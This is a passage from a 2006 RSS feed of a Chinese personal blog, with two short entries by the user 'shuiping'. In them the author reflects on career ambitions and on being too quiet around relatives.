&nbsp;&nbsp;&nbsp; 虽然想过自己创业，但是……。还是找份好工作重要。起码要月薪两千（按现在浪费水平）。但是如果这要求都达不到，我认了。总的一句，随遇而安。我只要独善其身就可以了，以后总有我的立足之地的。希望在明天嘛。
&nbsp;&nbsp;&nbsp; 好！我决定了，我要发达！我相信有理想加上脚踏实地，一定能成功的。]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-02 21:57:00</pubDate>
		</item>
				<item>
		<title><![CDATA[检讨]]></title>
		<link>http://blog.pfan.cn/MYIT/17121.html</link>
		<description><![CDATA[前几去吃饭，在那些老豆级的亲戚面前，他们一边吹水还说我这人少话，口才不行．
当时，我确实是这样，在人群之中确定话比较少，而我这个人确实有点孤辟．
这样的性格可能是周围环境所做成的，可能是因为长大了，成熟了，现在很少像以前一样搞鬼、开玩笑了。其实我本身也不喜欢这种性格，而且大多数人更喜欢健谈的人。
看来我在别人面前要多发言才行，不然，没人知道我的存在。
沉墨不是金!!!!!!!!!!!!!!!!!]]></description>
		<author><![CDATA[shuiping]]></author>
		<pubDate>2006-08-02 15:00:00</pubDate>
		</item>
		</channel>
</rss>